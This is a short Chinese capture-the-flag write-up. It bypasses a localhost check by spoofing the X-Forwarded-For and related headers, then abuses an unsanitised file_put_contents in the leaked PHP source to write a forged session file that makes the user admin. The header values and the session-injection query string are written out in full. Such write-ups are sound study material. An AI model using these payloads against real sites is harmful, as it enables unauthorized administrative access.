主页
查彩虹表得知是127.0.0.1的hash值
因此想到伪造XFF
‘Referer’: ‘127.0.0.1’,
‘X-Forwarded-For’: ‘127.0.0.1’,
‘X-Client-IP’: ‘127.0.0.1’
再次请求后得到源码
<?php
// l0g1n.php
if(isset($_GET['a'])){
$a = "===CUMT===\n".$_GET['a'];
}else{
die('please give me something!');
}
$name = $_GET['name'];
str_replace('/','',$name);
str_replace('\\','',$name);
file_put_contents("/xxxx/xxxx/xxxx/".$name,$a);
session_start();
if(isset($_SESSION['username'])){
echo "Hello ".$_SESSION['username'];
}else{
echo "Hello guest";
}
// flag is in f1l1l1l1ag.php
?>
需要写入session文件
写入session文件,访问l0g1n.php?a=a
,f12看一下当前的cookie
PHPSESSID=3f198eatetm16cfdtn4qg723u2
sess_+ID的值即为用户session文件名
然后按session文件的格式写入到sess_3f198eatetm16cfdtn4qg723u2
?a=|s:1:"a";username|s:5:"admin"&name=sess_3f198eatetm16cfdtn4qg723u2
每个用户之间用;号相隔,|符号之前即为键名(类似序列化字符串),因此参入参数后session文件内容为
…|s:1:“a”;username|s:5:"admin //第一个|之前的内容均为键名
这样就存在了一个username的值为admin
然后$_SESSION['username']
就是admin了,访问f1l1l1l1ag.php
,得到flag